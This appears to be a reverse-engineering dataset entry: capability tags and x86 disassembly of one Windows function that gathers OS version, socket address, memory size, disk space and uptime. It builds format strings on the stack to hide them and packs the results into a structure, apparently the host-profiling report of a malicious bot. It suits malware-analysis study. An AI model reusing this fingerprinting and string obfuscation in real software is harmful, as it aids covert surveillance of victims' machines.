Function at 0x40da39
Capabilities:
Check os version
Contain obfuscated stackstrings
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x768
push ebx
and byte [ebp - 2], 0
and dword [ebp - 0x1a8], 0
push esi
push edi
lea eax, [ebp - 0x568]
push dword [ebp + 8]
mov ebx, 0x9c
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x64
push eax
mov byte [ebp - 0x2a0], 0x66
mov dword [ebp - 0x29c], ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea eax, [ebp - 0x29c]
push eax
call esi
mov edi, 0x100
lea eax, [ebp - 0x768]
push edi
push eax
lea eax, [ebp - 0x568]
push eax
call fcn.0040d89c
push 0x10
lea eax, [ebp - 0x3c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x10
push eax
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [0x49d6f4]
lea eax, [ebp - 0x38]
push 4
push eax
lea eax, [ebp - 0x1e8]
push eax
call fcn.0040aa8f
mov ecx, dword [0x49d6f4]
lea eax, [ebp - 0x768]
push 0x32
push eax
lea eax, [ebp - 0x1e4]
push eax
call fcn.0040aa8f
call fcn.0040d58e
mov dword [ebp - 0x200], eax
lea eax, [ebp - 0x33c]
push eax
mov dword [ebp - 0x33c], ebx
call esi
cmp dword [ebp - 0x338], 5
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jne 0x40db50
cmp dword [ebp - 0x334], 0
jne 0x40db50
and byte [ebp + 0xb], 0
lea eax, [ebp + 0xa]
push eax
lea eax, [ebp - 0x1fc]
push eax
mov byte [ebp + 0xa], 0x31
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x40db7f
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
push dword [ebp - 0x9c]
and byte [ebp + 0xa], 0
lea eax, [ebp + 8]
mov byte [ebp + 8], 0x25
push eax
lea eax, [ebp - 0x1fc]
push eax
mov byte [ebp + 9], 0x64
call esi
add esp, 0xc
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0x40
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x84]
mov edx, dword [ebp - 0x80]
push 0x14
pop ecx
call fcn.0045c970
xor ebx, ebx
mov dword [ebp - 0x1b0], eax
mov dword [ebp + 8], ebx
mov al, byte [ebp + 8]
and byte [ebp - 0x1d], 0
add al, 0x42
mov byte [ebp - 0x1f], 0x3a
mov byte [ebp - 0x20], al
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x1e], 0x5c
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x40dbfb
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExA]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
push 0x14
pop ecx
call fcn.0045c970
add ebx, eax
inc dword [ebp + 8]
cmp dword [ebp + 8], 0x1a
jl 0x40dbb2
mov dword [ebp - 0x1ac], ebx
call fcn.0040d6a9
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1a4], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ebx, 0x5265c00
xor edx, edx
mov ecx, ebx
mov dword [ebp + 8], eax
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x468]
push eax
call esi
mov eax, dword [ebp + 8]
xor edx, edx
div ebx
mov ebx, 0x36ee80
mov ecx, ebx
mov dword [ebp + 8], edx
mov eax, edx
xor edx, edx
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
call esi
mov eax, dword [ebp + 8]
xor edx, edx
div ebx
mov ecx, 0xea60
mov eax, edx
xor edx, edx
div ecx
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x3a0]
push eax
call esi
lea eax, [ebp - 0x3a0]
push 0x48b930
push eax
lea eax, [ebp - 0x404]
push 0x48b92c
push eax
lea eax, [ebp - 0x468]
and byte [ebp - 8], 0
push 0x48b928
push eax
lea eax, [ebp - 0x14]
mov byte [ebp - 0x14], 0x25
push eax
lea eax, [ebp - 0x10a]
push eax
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x25
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x25
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x73
call esi
mov ecx, dword [0x49d6f4]
add esp, 0x44
lea eax, [ebp - 0x1a0]
push dword [ebp + 0x14]
push eax
call fcn.0040abb9
lea eax, [ebp - 0x16e]
push 0x32
push eax
lea eax, [ebp - 0x568]
push eax
call fcn.0040d9d2
call fcn.0040d962
push eax
lea eax, [ebp - 0xd8]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x668]
push edi
push eax
lea eax, [ebp - 0x568]
push eax
call fcn.0040d8eb
add esp, 0x20
test eax, eax
pop edi
pop esi
pop ebx
mov eax, 0x48b90c
je 0x40dd52
lea eax, [ebp - 0x668]
mov ecx, dword [0x49d6f4]
push eax
lea eax, [ebp - 0x13c]
push eax
call fcn.0040abb9
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2a0]
push 0x1f0
push eax
call fcn.00402f8e
leave
ret